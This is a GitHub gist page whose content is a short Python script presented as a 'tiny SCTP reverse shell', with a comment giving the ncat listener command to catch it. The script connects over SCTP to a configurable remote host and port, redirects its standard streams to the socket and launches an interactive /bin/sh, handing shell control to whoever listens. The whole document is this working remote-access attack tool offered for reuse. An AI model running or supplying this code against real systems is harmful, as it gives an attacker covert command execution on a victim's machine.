Skip to content

Instantly share code, notes, and snippets.

@hyperreality
Created April 14, 2017 17:22
Show Gist options
  • Star 0 You must be signed in to star a gist
  • Fork 2 You must be signed in to fork a gist
  • Save hyperreality/2bbb835769efd44f3ac6670acec3ff4e to your computer and use it in GitHub Desktop.
Save hyperreality/2bbb835769efd44f3ac6670acec3ff4e to your computer and use it in GitHub Desktop.
Simple Python reverse shell using the SCTP protocol
#!/usr/bin/env python3
#
# Tiny SCTP Reverse Shell inspired by http://insecurety.net/?p=765
# Connect with `ncat --sctp -lvp 1234`
import os, socket, subprocess
RHOST = '127.0.0.1'
RPORT = 1234
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM, socket.IPPROTO_SCTP)
s.connect((RHOST, RPORT))
[os.dup2(s.fileno(), i) for i in range(3)]
shell = subprocess.call(["/bin/sh", "-i"])
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment